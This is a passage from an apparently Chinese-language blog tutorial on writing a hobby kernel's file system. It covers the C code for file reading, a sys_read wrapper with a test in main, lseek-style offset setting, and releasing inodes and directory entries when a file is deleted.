class="comment">// 数据结束所在的块属于直接块</span></span><br><span class="line"> block_idx = block_read_start_idx; </span><br><span class="line"> <span class="keyword">while</span> (block_idx &lt;= block_read_end_idx) &#123;</span><br><span class="line">    all_blocks[block_idx] = file-&gt;fd_inode-&gt;i_sectors[block_idx]; </span><br><span class="line">    block_idx++;</span><br><span class="line"> &#125;</span><br><span class="line">      &#125; <span class="keyword">else</span> <span class="keyword">if</span> (block_read_start_idx &lt; <span class="number">12</span> &amp;&amp; block_read_end_idx &gt;= <span class="number">12</span>) &#123;</span><br><span class="line">   <span class="comment">/* 第二种情况: 待读入的数据跨越直接块和间接块两类*/</span></span><br><span class="line">       <span class="comment">/* 先将直接块地址写入all_blocks */</span></span><br><span class="line"> block_idx = block_read_start_idx;</span><br><span class="line"> <span class="keyword">while</span> (block_idx &lt; <span class="number">12</span>) &#123;</span><br><span class="line">    all_blocks[block_idx] = file-&gt;fd_inode-&gt;i_sectors[block_idx];</span><br><span class="line">    block_idx++;</span><br><span class="line"> &#125;</span><br><span class="line"> ASSERT(file-&gt;fd_inode-&gt;i_sectors[<span class="number">12</span>] != <span class="number">0</span>);    <span class="comment">// 确保已经分配了一级间接块表</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 再将间接块地址写入all_blocks */</span></span><br><span class="line"> indirect_block_table = file-&gt;fd_inode-&gt;i_sectors[<span class="number">12</span>];</span><br><span class="line"> ide_read(cur_part-&gt;my_disk, indirect_block_table, all_blocks + <span class="number">12</span>, <span class="number">1</span>);      <span class="comment">// 将一级间接块表读进来写入到第13个块的位置之后</span></span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">   <span class="comment">/* 第三种情况: 数据在间接块中*/</span></span><br><span class="line"> ASSERT(file-&gt;fd_inode-&gt;i_sectors[<span class="number">12</span>] != <span class="number">0</span>);    <span class="comment">// 确保已经分配了一级间接块表</span></span><br><span class="line"> indirect_block_table = file-&gt;fd_inode-&gt;i_sectors[<span class="number">12</span>];      <span class="comment">// 获取一级间接表地址</span></span><br><span class="line"> ide_read(cur_part-&gt;my_disk, indirect_block_table, all_blocks + <span class="number">12</span>, <span class="number">1</span>);      <span class="comment">// 将一级间接块表读进来写入到第13个块的位置之后</span></span><br><span class="line">      &#125; </span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 用到的块地址已经收集到all_blocks中,下面开始读数据 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> sec_idx, sec_lba, sec_off_bytes, sec_left_bytes, chunk_size;</span><br><span class="line">   <span class="keyword">uint32_t</span> bytes_read = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (bytes_read &lt; size) &#123;      <span class="comment">// 直到读完为止</span></span><br><span class="line">      sec_idx = file-&gt;fd_pos / BLOCK_SIZE;</span><br><span class="line">      sec_lba = all_blocks[sec_idx];</span><br><span class="line">      sec_off_bytes = file-&gt;fd_pos % BLOCK_SIZE;</span><br><span class="line">      sec_left_bytes = BLOCK_SIZE - sec_off_bytes;</span><br><span class="line">      chunk_size = size_left &lt; sec_left_bytes ? size_left : sec_left_bytes;     <span class="comment">// 待读入的数据大小</span></span><br><span class="line"></span><br><span class="line">      <span class="built_in">memset</span>(io_buf, <span class="number">0</span>, BLOCK_SIZE);</span><br><span class="line">      ide_read(cur_part-&gt;my_disk, sec_lba, io_buf, <span class="number">1</span>);</span><br><span class="line">      <span class="built_in">memcpy</span>(buf_dst, io_buf + sec_off_bytes, chunk_size);</span><br><span class="line"></span><br><span class="line">      buf_dst += chunk_size;</span><br><span class="line">      file-&gt;fd_pos += chunk_size;</span><br><span class="line">      bytes_read += chunk_size;</span><br><span class="line">      size_left -= chunk_size;</span><br><span class="line">   &#125;</span><br><span class="line">   sys_free(all_blocks);</span><br><span class="line">   sys_free(io_buf);</span><br><span class="line">   <span class="keyword">return</span> bytes_read;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来就是sys_read，其实就是对file_read的封装</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 从文件描述符fd指向的文件中读取count个字节到buf,若成功则返回读出的字节数,到文件尾则返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_read(<span class="keyword">int32_t</span> fd, <span class="keyword">void</span>* buf, <span class="keyword">uint32_t</span> count) &#123;</span><br><span class="line">   <span class="keyword">if</span> (fd &lt; <span class="number">0</span>) &#123;</span><br><span class="line">      printk(<span class="string">"sys_read: fd error\n"</span>);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   ASSERT(buf != <span class="literal">NULL</span>);</span><br><span class="line">   <span class="keyword">uint32_t</span> _fd = fd_local2global(fd);</span><br><span class="line">   <span class="keyword">return</span> file_read(&amp;file_table[_fd], buf, count);   </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>下面直接测试，main中测试代码如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   process_execute(u_prog_a, <span class="string">"u_prog_a"</span>);</span><br><span class="line">   process_execute(u_prog_b, <span class="string">"u_prog_b"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"I am thread_a"</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">31</span>, k_thread_b, <span class="string">"I am thread_b"</span>);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> fd = sys_open(<span class="string">"/file1"</span>, O_RDWR);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"open /file1, fd:%d\n"</span>, fd);</span><br><span class="line">   <span class="keyword">char</span> buf[<span class="number">64</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">   <span class="keyword">int</span> read_bytes = sys_read(fd, buf, <span class="number">18</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"1_ read %d bytes:\n%s\n"</span>, read_bytes, buf);</span><br><span class="line"></span><br><span class="line">   <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="number">64</span>);</span><br><span class="line">   read_bytes = sys_read(fd, buf, <span class="number">6</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"2_ read %d bytes:\n%s"</span>, read_bytes, buf);</span><br><span class="line"></span><br><span class="line">   <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="number">64</span>);</span><br><span class="line">   read_bytes = sys_read(fd, buf, <span class="number">6</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"3_ read %d bytes:\n%s"</span>, read_bytes, buf);</span><br><span class="line"></span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"________  close file1 and reopen  ________\n"</span>);</span><br><span class="line">   sys_close(fd);</span><br><span class="line">   fd = sys_open(<span class="string">"/file1"</span>, O_RDWR);</span><br><span class="line">   <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="number">64</span>);</span><br><span class="line">   read_bytes = sys_read(fd, buf, <span class="number">24</span>);</span><br><span class="line">   <span class="built_in">printf</span>(<span class="string">"4_ read %d bytes:\n%s"</span>, read_bytes, buf);</span><br><span class="line"></span><br><span class="line">   sys_close(fd);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>测试结果如下，和之前写入了三次helloworld数据相符</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/100.png" alt></p><h2 id="实现文件读写指针定位"><a href="#实现文件读写指针定位" class="headerlink" title="实现文件读写指针定位"></a>实现文件读写指针定位</h2><p>这个功能类似lseek函数，本质上就是设置文件读写时的起始偏移量，我们需要自由设置文件指针，文件的读写偏移量的设置有三个标志，文件头，文件当前位置，文件尾。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 文件读写位置偏移量</span></span><br><span class="line"><span class="keyword">enum</span> whence</span><br><span class="line">&#123;</span><br><span class="line">    SEEK_SET = <span class="number">1</span>,</span><br><span class="line">    SEEK_CUR,</span><br><span class="line">    SEEK_END</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>下面是具体实现，其中分别处理了三种flag的情况</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 重置用于文件读写操作的偏移指针,成功时返回新的偏移量,出错时返回-1 */</span></span><br><span class="line"><span class="keyword">int32_t</span> sys_lseek(<span class="keyword">int32_t</span> fd, <span class="keyword">int32_t</span> offset, <span class="keyword">uint8_t</span> whence)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (fd &lt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line">ASSERT(whence &gt; <span class="number">0</span> &amp;&amp; whence &lt; <span class="number">4</span>);</span><br><span class="line"><span class="keyword">uint32_t</span> _fd = fd_local2global(fd);</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">file</span> *<span class="title">pf</span> = &amp;<span class="title">file_table</span>[_<span class="title">fd</span>];</span></span><br><span class="line"><span class="keyword">int32_t</span> new_pos = <span class="number">0</span>; <span class="comment">//新的偏移量必须位于文件大小之内</span></span><br><span class="line"><span class="keyword">int32_t</span> file_size = (<span class="keyword">int32_t</span>)pf-&gt;fd_inode-&gt;i_size;</span><br><span class="line"><span class="keyword">switch</span> (whence)</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">/* SEEK_SET 新的读写位置是相对于文件开头再增加offset个位移量 */</span></span><br><span class="line"><span class="keyword">case</span> SEEK_SET:</span><br><span class="line">new_pos = offset;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* SEEK_CUR 新的读写位置是相对于当前的位置增加offset个位移量 */</span></span><br><span class="line"><span class="keyword">case</span> SEEK_CUR: <span class="comment">// offse可正可负</span></span><br><span class="line">new_pos = (<span class="keyword">int32_t</span>)pf-&gt;fd_pos + offset;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* SEEK_END 新的读写位置是相对于文件尺寸再增加offset个位移量 */</span></span><br><span class="line"><span class="keyword">case</span> SEEK_END: <span class="comment">// 此情况下,offset应该为负值</span></span><br><span class="line">new_pos = file_size + offset;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (new_pos &lt; <span class="number">0</span> || new_pos &gt; (file_size - <span class="number">1</span>))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line">pf-&gt;fd_pos = new_pos;</span><br><span class="line"><span class="keyword">return</span> pf-&gt;fd_pos;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实现文件删除"><a href="#实现文件删除" class="headerlink" title="实现文件删除"></a>实现文件删除</h2><p>lseek函数就不单独测试了，下面实现文件删除函数，过程起始就是创建文件的逆过程，我们需要回收inode和删除目录项。</p><p>inode相关资源如下</p><ul><li>inode位图</li><li>inode_table</li><li>inode中i_sectors[0~11]中的直接块和一级间接索引块表i_sector[12]中的间接块</li><li>一级间接索引块表本身的扇区地址</li></ul><p>目录项相关资源如下</p><ul><li>该文件对应的目录项数据需要清0</li><li>根目录必须存在且不能被清空，该文件删除之后，目录中不存在目录项，需要回收目录项对应的块</li><li>目录inode中的size需要减去该文件目录项大小</li><li>将目录inode同步到硬盘</li></ul><p>下面是删除inode部分，其中inode_delete是可有可无的，调试相关</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 将硬盘分区part上的inode清空 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">inode_delete</span><span class="params">(struct partition* part, <span class="keyword">uint32_t</span> inode_no, <span class="keyword">void</span>* io_buf)</span> </span>&#123;</span><br><span class="line">   ASSERT(inode_no &lt; <span class="number">4096</span>);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode_position</span> <span class="title">inode_pos</span>;</span></span><br><span class="line">   inode_locate(part, inode_no, &amp;inode_pos);     <span class="comment">// inode位置信息会存入inode_pos</span></span><br><span class="line">   ASSERT(inode_pos.sec_lba &lt;= (part-&gt;start_lba + part-&gt;sec_cnt));</span><br><span class="line">   </span><br><span class="line">   <span class="keyword">char</span>* inode_buf = (<span class="keyword">char</span>*)io_buf;</span><br><span class="line">   <span class="keyword">if</span> (inode_pos.two_sec) &#123;   <span class="comment">// inode跨扇区,读入2个扇区</span></span><br><span class="line">      <span class="comment">/* 将原硬盘上的内容先读出来 */</span></span><br><span class="line">      ide_read(part-&gt;my_disk, inode_pos.sec_lba, inode_buf, <span class="number">2</span>);</span><br><span class="line">      <span class="comment">/* 将inode_buf清0 */</span></span><br><span class="line">      <span class="built_in">memset</span>((inode_buf + inode_pos.off_size), <span class="number">0</span>, <span class="keyword">sizeof</span>(struct inode));</span><br><span class="line">      <span class="comment">/* 用清0的内存数据覆盖磁盘 */</span></span><br><span class="line">      ide_write(part-&gt;my_disk, inode_pos.sec_lba, inode_buf, <span class="number">2</span>);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;    <span class="comment">// 未跨扇区,只读入1个扇区就好</span></span><br><span class="line">      <span class="comment">/* 将原硬盘上的内容先读出来 */</span></span><br><span class="line">      ide_read(part-&gt;my_disk, inode_pos.sec_lba, inode_buf, <span class="number">1</span>);</span><br><span class="line">      <span class="comment">/* 将inode_buf清0 */</span></span><br><span class="line">      <span class="built_in">memset</span>((inode_buf + inode_pos.off_size), <span class="number">0</span>, <span class="keyword">sizeof</span>(struct inode));</span><br><span class="line">      <span class="comment">/* 用清0的内存数据覆盖磁盘 */</span></span><br><span class="line">      ide_write(part-&gt;my_disk, inode_pos.sec_lba, inode_buf, <span class="number">1</span>);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 回收inode的数据块和inode本身 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">inode_release</span><span class="params">(struct partition* part, <span class="keyword">uint32_t</span> inode_no)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">inode_to_del</span> = <span class="title">inode_open</span>(<span class="title">part</span>, <span class="title">inode_no</span>);</span></span><br><span class="line">   ASSERT(inode_to_del-&gt;i_no == inode_no);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 1 回收inode占用的所有块 */</span></span><br><span class="line">   <span class="keyword">uint8_t</span> block_idx = <span class="number">0</span>, block_cnt = <span class="number">12</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> block_bitmap_idx;</span><br><span class="line">   <span class="keyword">uint32_t</span> all_blocks[<span class="number">140</span>] = &#123;<span class="number">0</span>&#125;;  <span class="comment">//12个直接块+128个间接块</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* a 先将前12个直接块存入all_blocks */</span></span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; <span class="number">12</span>) &#123;</span><br><span class="line">      all_blocks[block_idx] = inode_to_del-&gt;i_sectors[block_idx];</span><br><span class="line">      block_idx++;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* b 如果一级间接块表存在,将其128个间接块读到all_blocks[12~], 并释放一级间接块表所占的扇区 */</span></span><br><span class="line">   <span class="keyword">if</span> (inode_to_del-&gt;i_sectors[<span class="number">12</span>] != <span class="number">0</span>) &#123;</span><br><span class="line">      ide_read(part-&gt;my_disk, inode_to_del-&gt;i_sectors[<span class="number">12</span>], all_blocks + <span class="number">12</span>, <span class="number">1</span>);</span><br><span class="line">      block_cnt = <span class="number">140</span>;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 回收一级间接块表占用的扇区 */</span></span><br><span class="line">      block_bitmap_idx = inode_to_del-&gt;i_sectors[<span class="number">12</span>] - part-&gt;sb-&gt;data_start_lba;</span><br><span class="line">      ASSERT(block_bitmap_idx &gt; <span class="number">0</span>);</span><br><span class="line">      bitmap_set(&amp;part-&gt;block_bitmap, block_bitmap_idx, <span class="number">0</span>);</span><br><span class="line">      bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);</span><br><span class="line">   &#125;</span><br><span class="line">   </span><br><span class="line">   <span class="comment">/* c inode所有的块地址已经收集到all_blocks中,下面逐个回收 */</span></span><br><span class="line">   block_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; block_cnt) &#123;</span><br><span class="line">      <span class="keyword">if</span> (all_blocks[block_idx] != <span class="number">0</span>) &#123;</span><br><span class="line"> block_bitmap_idx = <span class="number">0</span>;</span><br><span class="line"> block_bitmap_idx = all_blocks[block_idx] - part-&gt;sb-&gt;data_start_lba;</span><br><span class="line"> ASSERT(block_bitmap_idx &gt; <span class="number">0</span>);</span><br><span class="line"> bitmap_set(&amp;part-&gt;block_bitmap, block_bitmap_idx, <span class="number">0</span>);</span><br><span class="line"> bitmap_sync(cur_part, block_bitmap_idx, BLOCK_BITMAP);</span><br><span class="line">      &#125;</span><br><span class="line">      block_idx++; </span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*2 回收该inode所占用的inode */</span></span><br><span class="line">   bitmap_set(&amp;part-&gt;inode_bitmap, inode_no, <span class="number">0</span>);  </span><br><span class="line">   bitmap_sync(cur_part, inode_no, INODE_BITMAP);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/******     以下inode_delete是调试用的    ******</span></span><br><span class="line"><span class="comment">   * 此函数会在inode_table中将此inode清0,</span></span><br><span class="line"><span class="comment">   * 但实际上是不需要的,inode分配是由inode位图控制的,</span></span><br><span class="line"><span class="comment">   * 硬盘上的数据不需要清0,可以直接覆盖*/</span></span><br><span class="line">   <span class="keyword">void</span>* io_buf = sys_malloc(<span class="number">1024</span>);</span><br><span class="line">   inode_delete(part, inode_no, io_buf);</span><br><span class="line">   sys_free(io_buf);</span><br><span class="line">   <span class="comment">/***********************************************/</span></span><br><span class="line">    </span><br><span class="line">   inode_close(inode_to_del);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>删除目录项部分</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 把分区part目录pdir中编号为inode_no的目录项删除 */</span></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">delete_dir_entry</span><span class="params">(struct partition* part, struct dir* pdir, <span class="keyword">uint32_t</span> inode_no, <span class="keyword">void</span>* io_buf)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">dir_inode</span> = <span class="title">pdir</span>-&gt;<span class="title">inode</span>;</span></span><br><span class="line">   <span class="keyword">uint32_t</span> block_idx = <span class="number">0</span>, all_blocks[<span class="number">140</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">   <span class="comment">/* 收集目录全部块地址 */</span></span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; <span class="number">12</span>) &#123;</span><br><span class="line">      all_blocks[block_idx] = dir_inode-&gt;i_sectors[block_idx];</span><br><span class="line">      block_idx++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">if</span> (dir_inode-&gt;i_sectors[<span class="number">12</span>]) &#123;</span><br><span class="line">      ide_read(part-&gt;my_disk, dir_inode-&gt;i_sectors[<span class="number">12</span>], all_blocks + <span class="number">12</span>, <span class="number">1</span>);</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 目录项在存储时保证不会跨扇区 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> dir_entry_size = part-&gt;sb-&gt;dir_entry_size;</span><br><span class="line">   <span class="keyword">uint32_t</span> dir_entrys_per_sec = (SECTOR_SIZE / dir_entry_size);       <span class="comment">// 每扇区最大的目录项数目</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">dir_e</span> = (<span class="title">struct</span> <span class="title">dir_entry</span>*)<span class="title">io_buf</span>;</span>   </span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">dir_entry_found</span> = <span class="title">NULL</span>;</span></span><br><span class="line">   <span class="keyword">uint8_t</span> dir_entry_idx, dir_entry_cnt;</span><br><span class="line">   <span class="keyword">bool</span> is_dir_first_block = <span class="literal">false</span>;     <span class="comment">// 目录的第1个块 </span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 遍历所有块,寻找目录项 */</span></span><br><span class="line">   block_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (block_idx &lt; <span class="number">140</span>) &#123;</span><br><span class="line">      is_dir_first_block = <span class="literal">false</span>;</span><br><span class="line">      <span class="keyword">if</span> (all_blocks[block_idx] == <span class="number">0</span>) &#123;</span><br><span class="line"> block_idx++;</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      dir_entry_idx = dir_entry_cnt = <span class="number">0</span>;</span><br><span class="line">      <span class="built_in">memset</span>(io_buf, <span class="number">0</span>, SECTOR_SIZE);</span><br><span class="line">      <span class="comment">/* 读取扇区,获得目录项 */</span></span><br><span class="line">      ide_read(part-&gt;my_disk, all_blocks[block_idx], io_buf, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 遍历所有的目录项,统计该扇区的目录项数量及是否有待删除的目录项 */</span></span><br><span class="line">      <span class="keyword">while</span> (dir_entry_idx &lt; dir_entrys_per_sec) &#123;</span><br><span class="line"> <span class="keyword">if</span> ((dir_e + dir_entry_idx)-&gt;f_type != FT_UNKNOWN) &#123;</span><br><span class="line">    <span class="keyword">if</span> (!<span class="built_in">strcmp</span>((dir_e + dir_entry_idx)-&gt;filename, <span class="string">"."</span>)) &#123; </span><br><span class="line">       is_dir_first_block = <span class="literal">true</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">strcmp</span>((dir_e + dir_entry_idx)-&gt;filename, <span class="string">"."</span>) &amp;&amp; </span><br><span class="line">       <span class="built_in">strcmp</span>((dir_e + dir_entry_idx)-&gt;filename, <span class="string">".."</span>)) &#123;</span><br><span class="line">       dir_entry_cnt++;     <span class="comment">// 统计此扇区内的目录项个数,用来判断删除目录项后是否回收该扇区</span></span><br><span class="line">       <span class="keyword">if</span> ((dir_e + dir_entry_idx)-&gt;i_no == inode_no) &#123;  <span class="comment">// 如果找到此i结点,就将其记录在dir_entry_found</span></span><br><span class="line">  ASSERT(dir_entry_found == <span class="literal">NULL</span>);  <span class="comment">// 确保目录中只有一个编号为inode_no的inode,找到一次后dir_entry_found就不再是NULL</span></span><br><span class="line">  dir_entry_found = dir_e + dir_entry_idx;</span><br><span class="line">  <span class="comment">/* 找到后也继续遍历,统计总共的目录项数 */</span></span><br><span class="line">       &#125;</span><br><span class="line">    &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> dir_entry_idx++;</span><br><span class="line">      &#125; </span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 